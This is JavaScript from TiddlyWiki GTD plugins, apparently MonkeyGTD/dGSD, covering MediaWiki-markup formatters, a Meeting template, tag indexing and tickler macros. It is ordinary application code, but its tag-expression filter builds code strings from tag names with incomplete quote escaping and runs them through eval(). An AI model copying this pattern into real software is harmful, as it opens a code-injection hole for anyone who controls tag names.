			w.subWikifyTerm(createTiddlyElement(w.output,'strong'),/('''|(?=\n))/mg);
			break;
		case "''":
			w.subWikifyTerm(createTiddlyElement(w.output,'em'),/((?:''(?!'))|(?=\n))/mg);
			break;
		case '<u>':
			w.subWikifyTerm(createTiddlyElement(w.output,'u'),/(<\/u>|(?=\n))/mg);
			break;
		case '<s>':
			w.subWikifyTerm(createTiddlyElement(w.output,'del'),/(<\/s>|(?=\n))/mg);
			break;
		case '<b>':
			w.subWikifyTerm(createTiddlyElement(w.output,'b'),/(<\/b>|(?=\n))/mg);
			break;
		case '<i>':
			w.subWikifyTerm(createTiddlyElement(w.output,'i'),/(<\/i>|(?=\n))/mg);
			break;
		}
	}
},

{
	name: 'mediaWikiTemplateParam',
	match: '\\{\\{\\{',
	lookaheadRegExp: /(\{\{\{(?:.|\n)*?\}\}\})/mg,
	element: 'span',
	handler: config.formatterHelpers.enclosedTextHelper
},

{
	name: 'mediaWikiInsertReference',
	match: '<ref[^/]*>',
	lookaheadRegExp: /<ref(\s+(?:.*?)=["']?(?:.*?)["']?)?>([^<]*?)<\/ref>/mg,
	handler: function(w)
	{
		if(config.browser.isIE) {
			refRegExp = /<ref[^\/]*>((?:.|\n)*?)<\/ref>/mg;
			refRegExp.lastIndex = w.matchStart;
			var refMatch = refRegExp.exec(w.source);
			if(refMatch && refMatch.index == w.matchStart) {
				w.nextMatch = refRegExp.lastIndex;
				return;
			}
		}
		this.lookaheadRegExp.lastIndex = w.matchStart;
		var lookaheadMatch = this.lookaheadRegExp.exec(w.source);
		if(lookaheadMatch && lookaheadMatch.index == w.matchStart) {
			var x = {id:'',value:''};
			w.nextMatch = this.lookaheadRegExp.lastIndex;
			if(!w.referenceCount) {
				w.referenceCount = 0;
				w.references = {};
			}
			var s = createTiddlyElement(w.output,'sup',null,'reference');
			var a = createTiddlyElement2(s,'a');
			var prefix = w.tiddler ? w.tiddler.title + ':' : '';
			var name;
			if(lookaheadMatch[1]) {
				var r = MediaWikiFormatter.setFromParams(w,lookaheadMatch[1]);
				name = r.name ? r.name.trim() : '';
				name = name.replace(/ /g,'_');
				s.id = prefix + '_ref-' + name;// + '_' + nameCount;(w.referenceCount+1);
				if(!w.references[name]) {
					w.references[name] = x;
					w.references[name].id = w.referenceCount;
					w.references[name].value = lookaheadMatch[2].trim();
				}
			} else {
				w.references[w.referenceCount] = x;
				w.references[w.referenceCount].id = w.referenceCount;
				w.references[w.referenceCount].value = lookaheadMatch[2].trim();
				name = w.referenceCount;
				s.id = prefix + '_ref-' + w.referenceCount;
			}
			w.referenceCount++;
			a.title = lookaheadMatch[2].trim();//mb, extra to wikipedia
			a.href = '#' + prefix + '_note-' + name;
			a.innerHTML = '['+w.referenceCount+']';
		}
	}
},

{
	name: 'mediaWikiListReferences',
	match: '<references ?/>',
	lookaheadRegExp: /<references ?\/>/mg,
	handler: function(w)
	{
		this.lookaheadRegExp.lastIndex = w.matchStart;
		var lookaheadMatch = this.lookaheadRegExp.exec(w.source);
		if(config.options.chkMediaWikiListReferences && w.referenceCount) {
			var ol = createTiddlyElement(w.output,'ol',null,'references');
			var oldSource = w.source;
			if(w.referenceCount>0) {
				for(var i in w.references) {
					var li = createTiddlyElement2(ol,'li');
					var prefix = w.tiddler ? w.tiddler.title + ':' : '';
					var b = createTiddlyElement2(li,'b');
					var a = createTiddlyElement2(b,'a');
					li.id = prefix + '_note-' + i;
					a.href = '#' + prefix + '_ref-' + i;
					a.innerHTML = '^';
					w.source = w.references[i].value;
					w.nextMatch = 0;
					w.subWikifyUnterm(li);
				}
			}
			w.source = oldSource;
		}
		w.nextMatch = this.lookaheadRegExp.lastIndex;
	}
},

{
	name: 'mediaWikiRepeatReference',
	match: '<ref[^/]*/>',
	lookaheadRegExp: /<ref(\s+(?:.*?)=["'](?:.*?)["'])?\s*\/>/mg,
	handler: function(w)
	{
		if(config.browser.isIE) {
			refRegExp = /<ref.*?\/>/mg;
			refRegExp.lastIndex = w.matchStart;
			var refMatch = refRegExp.exec(w.source);
			if(refMatch && refMatch.index == w.matchStart) {
				w.nextMatch = refRegExp.lastIndex;
				return;
			}
		}
		this.lookaheadRegExp.lastIndex = w.matchStart;
		var lookaheadMatch = this.lookaheadRegExp.exec(w.source);
		if(lookaheadMatch && lookaheadMatch.index == w.matchStart) {
			var x = {id:'',value:''};
			w.nextMatch = this.lookaheadRegExp.lastIndex;
			var s = createTiddlyElement(w.output,"sup",null,"reference");
			var a = createTiddlyElement2(s,"a");
			var prefix = w.tiddler ? w.tiddler.title : '';
			if(lookaheadMatch[1]) {
				var r = {};
				r = MediaWikiFormatter.setFromParams(w,lookaheadMatch[1]);
				var name = r.name ? r.name.trim() : '';
				name = name.replace(/ /g,'_');
				s.id = prefix + '_ref-' + name +'_' + (w.referenceCount+1);
				var count = w.references && w.references[name] ? (w.references[name].id+1) : '?';
			}
			a.href = '#' + prefix + '_note-' + name;
			a.innerHTML = '['+count+']';
			a.title = name;
		}
	}//# end handler
},

{
	name: 'mediaWikiHtmlEntitiesEncoding',
	match: '&#?[a-zA-Z0-9]{2,8};',
	handler: function(w)
	{
		if(!config.browser.isIE)
			createTiddlyElement(w.output,"span").innerHTML = w.matchText;
	}
},

{
	name: 'mediaWikiComment',
	match: '<!\\-\\-',
	lookaheadRegExp: /<!\-\-((?:.|\n)*?)\-\->/mg,
	handler: function(w)
	{
		this.lookaheadRegExp.lastIndex = w.matchStart;
		var lookaheadMatch = this.lookaheadRegExp.exec(w.source);
		if(lookaheadMatch && lookaheadMatch.index == w.matchStart) {
			w.nextMatch = this.lookaheadRegExp.lastIndex;
		}
	}
},

{
	name: 'mediaWikiIncludeOnly',
	match: '<includeonly>',
	lookaheadRegExp: /<includeonly>((?:.|\n)*?)<\/includeonly>/mg,
	handler: function(w)
	{
		this.lookaheadRegExp.lastIndex = w.matchStart;
		var lookaheadMatch = this.lookaheadRegExp.exec(w.source);
		if(lookaheadMatch && lookaheadMatch.index == w.matchStart) {
			w.nextMatch = this.lookaheadRegExp.lastIndex;
		}
	}
},

{
	name: 'mediaWikiNoWiki',
	match: '<nowiki>',
	lookaheadRegExp: /<nowiki>((?:.|\n)*?)<\/nowiki>/mg,
	element: 'span',
	handler: config.formatterHelpers.enclosedTextHelper
},

{
	name: 'mediaWikiPreNoWiki',
	match: '<pre>\s*<nowiki>',
	lookaheadRegExp: /<pre>\s*<nowiki>((?:.|\n)*?)<\/nowiki>\s*<\/pre>/mg,
	element: 'pre',
	handler: config.formatterHelpers.enclosedTextHelper
},

{
	name: 'mediaWikiPre',
	match: '<pre>',
	lookaheadRegExp: /<pre>((?:.|\n)*?)<\/pre>/mg,
	element: 'pre',
	handler: config.formatterHelpers.enclosedTextHelper
},

{
	name: 'mediaWikiMagicWords',
	match: '__',
	lookaheadRegExp: /__([A-Z]*?)__/mg,
	handler: function(w)
	{
		this.lookaheadRegExp.lastIndex = w.matchStart;
		var lookaheadMatch = this.lookaheadRegExp.exec(w.source);
		if(lookaheadMatch && lookaheadMatch.index == w.matchStart) {
			if(lookaheadMatch[1]=='NOTOC') {
			} else if(config.options.chkDisplayMediaWikiMagicWords) {
				w.outputText(w.output,w.matchStart,w.nextMatch);
			}
			w.nextMatch = this.lookaheadRegExp.lastIndex;
		}
	}
},

{
	name: 'mediaWikiGallery',
	match: '<gallery>',
	lookaheadRegExp: /[Ii]mage:(.*?)\n/mg,
	handler: function(w)
	{
		var table = createTiddlyElement(w.output,'table',null,'gallery');
		table.cellspacing = '0';
		table.cellpadding = '0';
		var rowElem = createTiddlyElement2(table,'tr');
		var col = 0;
		this.lookaheadRegExp.lastIndex = w.matchStart;
		var nM = w.nextMatch;
		var lookaheadMatch = this.lookaheadRegExp.exec(w.source);
		var oldSource = w.source;
		while(lookaheadMatch) {
			nM += lookaheadMatch[1].length;
			w.source = lookaheadMatch[1] +']]';//!! ]] is hack until getParams is working
			w.nextMatch = 0;
			var params = MediaWikiFormatter.getParams(w);
			var src = params[1];
			src = src.trim().replace(/ /mg,'_');
			src = src.substr(0,1).toUpperCase() + src.substring(1);
			var palign = 'right'; 
			var psrc = '120px-'+src;
			var px = 120;
			var pframed = false;
			ptitle = null;
			for(var i=2;i<params.length;i++) {
				var p = params[i];
				if(p=='right'||p=='left'||p=='center'||p=='none') {
					palign = p;
				} else if(p=='framed') {
					pframed = true;
				} else if(/\d{1,4}px/.exec(p)) {
					px = p.substr(0,p.length-2).trim();
					psrc = px + 'px-' + src;
				} else {
					ptitle = p;
				}
			}//#end for
			var td = createTiddlyElement2(rowElem,'td');
			var gb = createTiddlyElement(td,'div',null,'gallerybox');
			var t = createTiddlyElement(gb,'div',null,'thumb');
			t.style['padding'] = '26px 0';

			var a = createTiddlyElement2(t,'a');
			if(config.options.chkMediaWikiDisplayEnableThumbZoom) {
				a.href = src;
			}
			a.title = ptitle;
			var img = createTiddlyElement2(a,'img');
			img.src = psrc;
			img.width = px;
			img.alt = '';

			var gt = createTiddlyElement(gb,'div',null,'gallerytext');
			p = createTiddlyElement2(gt,'p');
			var oldSource2 = w.source; var oldMatch = w.nextMatch;
			w.source = ptitle; w.nextMatch = 0;
			w.subWikifyUnterm(p);
			w.source = oldSource2; w.nextMatch = oldMatch;

			col++;
			if(col>3) {
				rowElem = createTiddlyElement2(table,'tr');
				col = 0;
			}
			w.source = oldSource;
			lookaheadMatch = this.lookaheadRegExp.exec(w.source);
		}
		w.nextMatch = nM + '<gallery>'.length*2+1+'Image:'.length;//!! hack
	}
},

{
	name: 'mediaWikiHtmlTag',
	match: "<[a-zA-Z]{2,}(?:\\s*(?:(?:.*?)=[\"']?(?:.*?)[\"']?))*?>",
	lookaheadRegExp: /<([a-zA-Z]{2,})((?:\s+(?:.*?)=["']?(?:.*?)["']?)*?)?\s*(\/)?>/mg,
	handler: function(w)
	{
		this.lookaheadRegExp.lastIndex = w.matchStart;
		var lookaheadMatch = this.lookaheadRegExp.exec(w.source);
		if(lookaheadMatch && lookaheadMatch.index == w.matchStart) {
			var e =createTiddlyElement2(w.output,lookaheadMatch[1]);
			if(lookaheadMatch[2]) {
				MediaWikiFormatter.setAttributesFromParams(e,lookaheadMatch[2]);
			}
			if(lookaheadMatch[3]) {
				w.nextMatch = this.lookaheadRegExp.lastIndex;
			} else {
				w.subWikify(e,'</'+lookaheadMatch[1]+'>');
			}
		}
	}
}
];

config.parsers.mediawikiFormatter = new Formatter(config.mediawiki.formatters);
config.parsers.mediawikiFormatter.format = 'mediawiki';
config.parsers.mediawikiFormatter.formatTag = 'MediaWikiFormat';
} //# end of 'install only once'
//}}}
<<deleteAllTagged>> //''Warning'': This will delete all your Meetings!//

!Meeting
<!--{{{-->
<div class="projectcontrols controls controlstint">
 <!-- Realm / Meeting Tag / Recurring chkbox / Help (on right) -->
 <div style="float:right;" class="smaller">
  <span class="label">Realm:</span>
  <span macro="multiSelectTag Realm allowNone:on"></span>
  <span macro="tag Meeting"></span>
  <span macro="toggleTag Recurring . ."></span>
  <span macro="help Meeting"></span>
 </div>
 <!-- Title / Project [P] / Star * / Subtitle -->
 <div>
  <span macro="toggleTag Done . -"></span>
  <span class='title' macro='view title'></span>
  <!--span macro="miniTag"></span-->
  <span macro="linkToParent Project '[P]'"></span>
  <span macro="singleToggleTag tag:Starred"></span>
  [[dGSDTheme##Subtitle]]
 </div>
  <!-- Date -->
 <div macro="hideWhenTagged Done" style="padding-top:0.25em;padding-bottom:0.25em;">
  <span macro="multiToggleTag MeetingStatus longVersion:on"></span>
  <span style="float: right; clear: none;"><span class="label">Date held:</span><br/>
  <span macro="dateChooser"></span>
 </div>
 <div>
  <div class="floatleft"><span class="label">Area:</span><br><span macro="multiSelectTag Area allowNone:on"></span><span macro="linkToParent Area '[A]'"></span></div>
  <div class="floatleft"><span class="label">Project:</span><br/><span macro="multiSelectTag Project allowNone:on"></span><span macro="linkToParent Project '[P]'"></span></div>
   <!-- Contacts -->
  <div class="floatleft">
    <span class="label">Meeting chair:</span><br>
    <span macro="multiSelectTag Contact allowNone:on"></span>
  </div>
  <div class="clearboth"></div>
 </div>
</div>
<!--}}}-->
//{{{

merge(Array.prototype,{

	each: function(func) {
		for (var i=0;i<this.length;i++)
			func(this[i]);
	},

	// TODO, there is a map in the core now. Is it same as this or different?
	map: function(func) {
		var result = [];
		this.each(function(item) {
			result.push(func(item));
		});
		return result;
	},

	select: function(func) {
		var result = [];
		this.each(function(item) {
			if (func(item))
				result.push(item);
		});
		return result;
	},

	reject: function(func) {
		var result = [];
		this.each(function(item) {
			if (!func(item))
				result.push(item);
		});
		return result;
	}

});

//------------------------------------------

merge(String.prototype,{

	parseTagExpr: function(debug) {

		if (this.trim() == "")
			return "(true)";

		var logicOps = /(!|&&|\|\||\(|\))/g;

		var spaced = this.
 			// because square brackets in templates are no good
			// this means you can use [(With Spaces)] instead of [[With Spaces]]
			replace(/\[\(/g," [[").
			replace(/\)\]/g,"]] "). 
			// space things out so we can use readBracketedList. tricky eh?
			replace(logicOps," $1 ");


		var expr = "";

		var tokens = spaced.readBracketedList(false); // false means not unique. nice one JR!

		tokens.each(function(tok) {

			if (tok.match(logicOps)) {
				expr += tok;
			}
			else if (tok.match(/^parent:/)) {
				// experimental
				var lookForTagInParent = tok.split(":")[1];
				expr += "tiddler.parents().anyHasTag('"+lookForTagInParent+"')";
			}					
			else {
				expr += "tiddler.tags.contains('%0')".format([
						// fix single quote bug. hurrah
						// but still have nasty round bracket bug
						tok.replace(/'/,"\\'")
					]);
			}
		});

		if (debug)
			alert(expr);

		return '('+expr+')';
	}

});

merge(Tiddler.prototype,{

	matchesEvalExpr: function(evalExpr) {
		var tiddler = this;
		return eval(evalExpr);
	},

	matchesTagExpr: function(tagExpr) {
		return this.matchesEvalExpr(tagExpr.parseTagExpr());
	},

	olderThanDays: function(days) {
		return this.modified.getTime() < (new Date()).getTime() - days*1000*60*60*24;
	}

});

//------------------------------------

merge(Tiddler.prototype,{

	render: function(method,renderOptions) {
		var renderMethod = "render_"+method;
		if (this[renderMethod])
			return this["render_"+method](renderOptions);
		else
			return "*** cant render "+renderMethod+" ***";
	},

	renderUtil: function(formatString,formatValues) {
		return formatString.format(formatValues);
	},

	sorter: function(field) {
		var sortMethod = "sort_"+field;
		if (this[sortMethod])
			return this[sortMethod]();
		else
			return this[field];
	},

	sorterUtil: function(otherTiddler,method) {
		var desc = false;

		if (method.substring(0,1) == "-") {
			desc = true;
			method = method.substring(1);
		}

		if (this.sorter(method) > otherTiddler.sorter(method))
			return (desc ? -1 : +1);
		else if (this.sorter(method) < otherTiddler.sorter(method))
			return (desc ? +1 : -1);
		else
			return 0;
	}

});

merge(String.prototype,{
	sorterUtil: function(otherTiddler,method) {

		var t1 = store.getTiddler(this);
		var t2 = store.getTiddler(otherTiddler);

		if (method.substring(0,1) == "-") {
			desc = true;
		}

		if (t1 && t2)
			return t1.sorterUtil(t2,method);
		// this part is a little flakey but I'm aiming to
		// put the None heading last in all cases
		else if (t2)
			return +1;
		else if (t1)
			return -1;
		else {
			// neither exist as tiddlers might as well compare strings
			if (this < otherTiddler)
				return (desc ? +1 : -1);
			else if (this > otherTiddler)
				return (desc ? -1 : +1);
			else
				return 0;
		}
	}
});

//------------------------------------------

merge(Array.prototype,{

	// returns a hash
	groupBy_hash: function(func) {
		var result = {};
		var leftOverGroup = '__NONE__';
		this.each(function(item) {
			var groups = func(item);
			if (groups.length > 0) {
				groups.each(function(group) {
					if (!result[group])
						result[group] = [];
					result[group].push(item);
				});
			}
			else {
				if (!result[leftOverGroup])
					result[leftOverGroup] = [];
				result[leftOverGroup].push(item);
			}
		});
		return result;
	},

	// returns an array of arrays, like Hash#sort in ruby
	groupBy: function(func,itemSort,groupSort) {

		if (!itemSort) itemSort = "title";
		if (!groupSort) groupSort = "-title";

		var result = this.groupBy_hash(func);
		var sortedResult = [];
		for (var g in result)
			sortedResult.push([g,result[g].sort(function(a,b){return a.sorterUtil(b,itemSort);})]);
		return sortedResult.sort(function(a,b){return a[0].sorterUtil(b[0],groupSort);});
	},

	// for convenience since it's mostly what we want
	groupByTag: function(tag,itemSort,groupSort) {
		return this.groupBy(function(t){return t.getByIndex(tag);},itemSort,groupSort);
 	}

});

//------------------------------------------

// for lists of tiddlers
merge(Array.prototype,{
	
	filterByEval: function(evalExpr) {
		return this.select(function(t) {
			return t.matchesEvalExpr(evalExpr);
		});
	},

	filterByTagExpr: function(tagExpr) {
		return this.filterByEval(tagExpr.parseTagExpr());
	},

	filterGroupsByEval: function(evalExpr) {
		// presumes the group name is a tiddler
		return this.select(function(tGroup) {
			var tiddler = store.getTiddler(tGroup[0]);
			return tiddler && tiddler.matchesEvalExpr(evalExpr);
		});
	},

	filterGroupsByTagExpr: function(tagExpr) {
		return this.filterGroupsByEval(tagExpr.parseTagExpr());
	},

	render: function(renderMethod,renderOptions) {
		return this.map(function(tiddler){
			return tiddler.render(renderMethod,renderOptions);
		}).join("\n");
	},

	renderGrouped: function(listRenderMethod,headingRenderMethod,noneHeading,renderOptions,groupCountOnly,nbTags) {
		// do I ever use renderOptions??
		// this lost some elegance when I shoehorned the groupCountOnly part in. todo refactor
		// then lost some more with the nbTags addition...
		// might need some reworking
		var result = "";
		this.each(function(g) {
			var groupName = g[0];
			var groupItems = g[1];

			var showCount = "";
			if (groupCountOnly && groupCountOnly != "")
				showCount = groupItems.length > 0 ? " ("+groupItems.length+")" : "";

			var makeHeading = (groupCountOnly&&groupCountOnly!="") ? "" : "!!";
			var newButtonMarkup = "";

			// this sucks
			if (nbTags && nbTags != '') {
				newButtonMarkup = " "+config.macros.mgtdList.getNewButton(nbTags + " [["+groupName+"]]");
			}

			if (groupName == "__NONE__") {
				result = result + makeHeading + "{{noneHeading{[[("+(noneHeading?noneHeading:"No "+headingRenderMethod)+")]]}}}"+showCount+"\n";
			}
			else {
				var gTiddler = store.getTiddler(groupName);
				if (gTiddler) {
					result = result + makeHeading+gTiddler.render(headingRenderMethod)+showCount+newButtonMarkup+"\n";
				}
				else {
					result = result + makeHeading+"[["+groupName+"]]"+showCount+newButtonMarkup+"\n";
				}
			}
			if (!groupCountOnly || groupCountOnly == "")
				result = result + groupItems.render(listRenderMethod,renderOptions) + "\n";
		});
			
		if (groupCountOnly && groupCountOnly != "")
			result = result.replace(/\n$/,''); // hack. remove trailing linefeed

		return result;
	},

	tiddlerSort: function(sortBy) {
		return this.sort(function(a,b) { return a.sorterUtil(b,sortBy); });
	},

	toTitleList: function() {
		return this.map(function(t){return t.title;});
	}


});

//------------------------------------------

//}}}
merge(Date.prototype,{
	addDay:       function(n) { this.setDate(  this.getDate()      + n    ); },
	addWeek:      function(n) { this.setDate(  this.getDate()      + n*7  ); },
	addFortnight: function(n) { this.setDate(  this.getDate()      + n*14 ); },
	addMonth:     function(n) { this.setMonth( this.getMonth()     + n    ); },
	addYear:      function(n) { this.setYear(  this.getFullYear()  + n    ); }
});


// it works in view mode, that's why we can't just use edit macro
merge(config.macros, {
	mgtdEditField: {
		handler: function(place,macroName,params,wikifier,paramString,tiddler) {
			var fieldName = params[0];
			var useTiddler = tiddler;
			if (params[1])
				useTiddler = store.fetchTiddler(params[1]);
			var curVal = useTiddler.fields[fieldName] || '';
			var editBox = createTiddlyElement(place,'input',null,'editBox');            
			editBox.value = curVal;
			var callback = function(){
				useTiddler.fields[fieldName] = this.value;
				useTiddler.touch();	// see MgtdDateUtils
			}
			editBox.onchange = callback;
		}
	}
});
function wikifiedMessage(message) {
	wikify(message,getMessageDiv());
}

merge(config.macros,{

	help: {

		handler: function (place,macroName,params,wikifier,paramString,tiddler) {
			createTiddlyButton(place,"?","help",function() {
				var useThis = params[0]?params[0]:tiddler.title;
				var help = store.getTiddlerText("MonkeyGTDHelp##"+useThis);
				help = help?help:"//No help for <nowiki>"+useThis+"</nowiki>//";
				var helpContent = "{{help{\n''[[MonkeyGTD Documentation|http://www.tiddlywiki.org/wiki/MonkeyGTD]]''\n" +
									"!<nowiki>" + useThis + "</nowiki>\n" +
									help + "\n\n" +
									"[[More...|http://www.tiddlywiki.org/wiki/MonkeyGTD/"+useThis+"]]" +
									"\n}}}\n" + 
									"";

				// doesn't work at all. I have no idea how to use TW popups apparently ...
				//var popup = Popup.create(place,"div","popupTiddler");
				//wikify(helpContent,popup,null,tiddler);
				//Popup.show();

				// stick with this for now
				clearMessage();
				wikifiedMessage(helpContent);

				return false;
			});
		}
	}

});

config.indexedTags = {

	// will be populated with our tag lists
	tagLists: {},

	// will be populated with our tag indexes
	indexes: {},

	// will be populated with the tags that need indexing
	tagsToIndex: [],

	saveTiddlerHijack: function(title,newTitle,newBody,modifier,modified,tags,fields) {
		var before = store.getTiddler(title);
		var oldTags = before ? [].concat(before.tags) : null;  // concat so we get a dup

		store.suspendNotifications();
		var result = this.saveTiddler_orig_indexedTags(title,newTitle,newBody,modifier,modified,tags,fields);
		var newTags = store.getTiddler(newTitle).tags;

		config.indexedTags.updateTagLists(title,oldTags,newTitle,newTags);
		config.indexedTags.updateIndexes(title,newTitle,newTags);

		store.resumeNotifications();
		store.notify(title,true);

		return result;
	},

	removeTiddlerHijack: function(title) {
		var before = store.getTiddler(title);
		var oldTags = before ? [].concat(before.tags) : null;  // concat so we get a dup

		store.suspendNotifications();
		this.removeTiddler_orig_indexedTags(title);

		config.indexedTags.updateTagLists(title,oldTags);
		config.indexedTags.updateIndexes(title);

		store.resumeNotifications();
		store.notify(title,true);
	},

	setTiddlerTagHijack: function(title,status,tag) {

		clearMessage(); // unrelated to indexedTags but....

		var before = store.getTiddler(title);
		var oldTags = before ? [].concat(before.tags) : null;  // concat so we get a dup

		store.suspendNotifications();
		this.setTiddlerTag_orig_indexedTags(title,status,tag);

		var after = store.getTiddler(title);
		var newTags = after ? after.tags : null;

		config.indexedTags.updateTagLists(title,oldTags,title,newTags);
		config.indexedTags.updateIndexes(title,title,newTags);

		store.resumeNotifications();
		store.notify(title,true);

	},

	updateTagLists: function(title,oldTags,newTitle,newTags) {
		if (oldTags)
			oldTags.each(function(tagName) {
				if (!config.indexedTags.tagLists[tagName])
					config.indexedTags.tagLists[tagName] = []; // fixes TiddlerEncryption/MTS, thanks Patrick Ohly.
				config.indexedTags.tagLists[tagName].remove(title);
			});
		if (newTags)
			newTags.each(function(tagName) {
				if (!config.indexedTags.tagLists[tagName])
					config.indexedTags.tagLists[tagName] = [];
				config.indexedTags.tagLists[tagName].pushUnique(newTitle);
			});
	},

	updateIndexes: function(title,newTitle,newTags) {
		delete config.indexedTags.indexes[title];
		if (newTags) {
			config.indexedTags.indexes[newTitle] = {};
			config.indexedTags.tagsToIndex.each(function(tagToIndex) {
				config.indexedTags.indexes[newTitle][tagToIndex] = [];
				newTags.each(function(tag) {
					if (config.indexedTags.tagLists[tagToIndex] && config.indexedTags.tagLists[tagToIndex].contains(tag)) {
						config.indexedTags.indexes[newTitle][tagToIndex].pushUnique(tag);
					}
				});
			});
		}
	},

	initTagLists: function() {
		store.getTags().map(function(pair) { return pair[0]; }).each(function(t) {
			config.indexedTags.tagLists[t] = store.getTaggedTiddlers(t).map(function(tt) { return tt.title; });
		});
	},

	initIndexes: function() {
		store.forEachTiddler(function(title,tiddler) {
			config.indexedTags.updateIndexes(title,title,tiddler.tags);
		});
	},

	dump: function() {
		alert(this.indexes["Buy petrol for mower"]["Project"]);
		alert(this.indexes["Buy petrol for mower"]["Realm"]);
	},

	tiddlerMethods: {
		getByIndex: function(tag) {
			return config.indexedTags.indexes[this.title][tag];
		},

		hasParent: function(tag) {
			return this.getByIndex(tag).length > 0
		},

		hasNoParent: function(tag) {
			return !this.hasParent(tag);
		},

		hasActiveProject: function() {
			var projs = this.getByIndex("Project");

			if (projs.length == 0)
				// no project but we will say it's active
				// because otherwise it will not show up anywhere
				return true;

			for (var i=0;i<projs.length;i++)
				if (
				        (config.indexedTags.indexes[projs[i]]['ProjectStatus'].contains('Active') || config.indexedTags.indexes[projs[i]]['ProjectStatus'].contains('Ongoing'))
					&&
					!store.fetchTiddler(projs[i]).tags.contains('Complete') // seems stupid
					)
					return true;
			return false;
		},

		hasStarredProject: function() {
			// similar to hasActiveProject
			// thanks to Bernhardt Rainer
			var projs = this.getByIndex("Project");

			if (projs.length == 0)
				return false;

			for (var i=0;i<projs.length;i++)
				if (
					(config.indexedTags.indexes[projs[i]]['ProjectStatus'].contains('Starred'))
					&&
					!store.fetchTiddler(projs[i]).tags.contains('Complete') // seems stupid
					)
					return true;
			return false;
		},

		getAreasForAction: function() {
			// we will go to some trouble to permit actions in multiple areas
			// either explicitly or via their project...
			// also permit multiple projects......
			// explicit:
			var result = [];
			result = result.concat(this.getByIndex("Area"));
			// implicit (via project/s):
			var projs = this.getByIndex("Project");
			for (var i=0;i<projs.length;i++)
				result = result.concat(store.fetchTiddler(projs[i]).getByIndex("Area"));
			return result;
		},

		hasNextAction: function() {
			var children = fastTagged(this.title).filterByTagExpr('Action && !Done && (Next || [(Waiting For)])');
			return children.length > 0;
		},

		hasTickler: function() {
			var children = fastTagged(this.title).filterByTagExpr('Tickler && !Actioned');
			return children.length > 0;
		},

		hasSubProject: function() {
			var children = fastTagged(this.title).filterByTagExpr('Project && !Complete && Active');
			return children.length > 0;
		},

		hasNextActionOrSubProject: function() {
			return (this.hasSubProject() || this.hasNextAction());
		},

		hasNextActionOrSubProjectOrTickler: function() {
			return (this.hasSubProject() || this.hasNextAction() || this.hasTickler());
		}
	},

	globalMethods: {
		fastTagged: function(tag) {
			var list = config.indexedTags.tagLists[tag];
			return (list?list:[]).map(function(t){return store.getTiddler(t);});
		}
	},

	init: function(tagsToIndex) {

		merge(window,this.globalMethods);
		merge(Tiddler.prototype,this.tiddlerMethods);

		this.tagsToIndex = tagsToIndex;
		this.initTagLists();
		this.initIndexes();

		TiddlyWiki.prototype.saveTiddler_orig_indexedTags = TiddlyWiki.prototype.saveTiddler;
		TiddlyWiki.prototype.removeTiddler_orig_indexedTags = TiddlyWiki.prototype.removeTiddler;
		TiddlyWiki.prototype.setTiddlerTag_orig_indexedTags = TiddlyWiki.prototype.setTiddlerTag;
		TiddlyWiki.prototype.saveTiddler = this.saveTiddlerHijack;
		TiddlyWiki.prototype.removeTiddler = this.removeTiddlerHijack;
		TiddlyWiki.prototype.setTiddlerTag = this.setTiddlerTagHijack;

	}
};

config.indexedTags.init(config.mGTD.tagsToIndex);
merge(Tiddler.prototype,{
	// doesn't belong here..
	ticklerIsActive: function() {
		var defaultHourToActivate = 5; // fixme put elsewhere
		var hourToActivate = config.dGSD.getOptTxt('tickleractivatehour') || defaultHourToActivate;
		var nowTime = new Date();
		nowTime.setHours(nowTime.getHours() - hourToActivate); // i'm confused because of UTC versus local. I think mgtd_date is UTC. But has hh:mm:ss is 00:00:00 in local time
		// a tickler without a date is active now. so please add a date to your ticklers. thanks Arkady Grudzinsky
		return (!this.fields.mgtd_date || nowTime.convertToYYYYMMDDHHMM() >= this.fields.mgtd_date );
	},

	// Contributed by Michael Scherer
	ticklerWillBeActiveWithin: function(numDays) {
		// Ignore ticklers without date
		if (!this.fields.mgtd_date)
			return false;

		var nowTime = new Date();

		// Respect user settings (see tickerIsActive())
		var defaultHourToActivate = 5; // fixme put elsewhere
		var hourToActivate = config.dGSD.getOptTxt('tickleractivatehour') || defaultHourToActivate;
		if (nowTime.getHours() < hourToActivate) {
			// Too early in the morning, go back one day.
			nowTime.setDate(nowTime.getDate() - 1);
		}

		// Start tomorrow
		startTime = new Date(nowTime.getFullYear(), nowTime.getMonth(), nowTime.getDate() + 1);
		// End in numDays days
		endTime = new Date(nowTime.getFullYear(), nowTime.getMonth(), nowTime.getDate() + 1 + numDays);

		return (startTime.convertToYYYYMMDDHHMM() <= this.fields.mgtd_date && endTime.convertToYYYYMMDDHHMM() > this.fields.mgtd_date);
	}
});

merge(config.macros,{

	ticklerAlert: {
		handler: function (place,macroName,params,wikifier,paramString,tiddler) {
			var realmFilter = '';
			if (!config.dGSD.getOptChk('AlertsIgnoreRealm'))
				realmFilter = ' && tiddler.tags.containsAny(config.macros.dGSDList.getActiveRealms())';
			var theList = fastTagged('Tickler').
						filterByTagExpr('!Actioned').
								filterByEval('tiddler.ticklerIsActive()'+realmFilter);
			if (theList.length > 0) {
				var blinker = createTiddlyElement(place,'blink');
				wikify('{{ticklerAlert{[[*ticklers*|Ticklers Requiring Action]]}}}',blinker,null,tiddler);
			}
		}
	},
	mgtdList: {

		getActiveRealms: function() {
			return store.fetchTiddler("dGSDSettings").getByIndex("Realm");
		},

		noActiveRealmMessage: function() {
			// this doesn't work like it ought to?????
			if (this.getActiveRealms().length == 0) {
				//clearMessage();
				displayMessage("Error: No active realms. Please activate at least one realm."); 
			}
		},
		
		getRealm: function(tiddlerTitle) {

			// if we're in a project inherit the realm from the project
			var inTiddler = store.fetchTiddler(tiddlerTitle);
			if (inTiddler && inTiddler.tags.contains('Project')) {
				// get the realm from the project
				return inTiddler.getByIndex('Realm');
			}	

			// otherwise use the active realm 
			var active = config.macros.dGSDList.getActiveRealms();

			if (active.length == 1) {
				return active[0];
			}
			else if (active.length == 0) {
				var fudge = fastTagged('Realm')[0].title;	 // this is a little bit random but they should be seeing the warning by now and fixing it
				return fudge;
			}
			else {
				// if there's more than one active realm use a slice to get the realm priority and choose the highest one
				// TODO, make this prettier
				var toBeat = "zzzzzzz";
				var soFar = active[0];
				for (var i=0;i<active.length;i++) {
					var pri = store.getTiddlerSlice(active[i],"priority");
					if (pri && pri < toBeat) {
						toBeat = pri;
						soFar = active[i];
					}
				}
				return soFar;
			}
		},

		getNewButton: function(tags,extraTags) {
			if (typeof tags != 'string')
				tags = String.encodeTiddlyLinkList(tags);
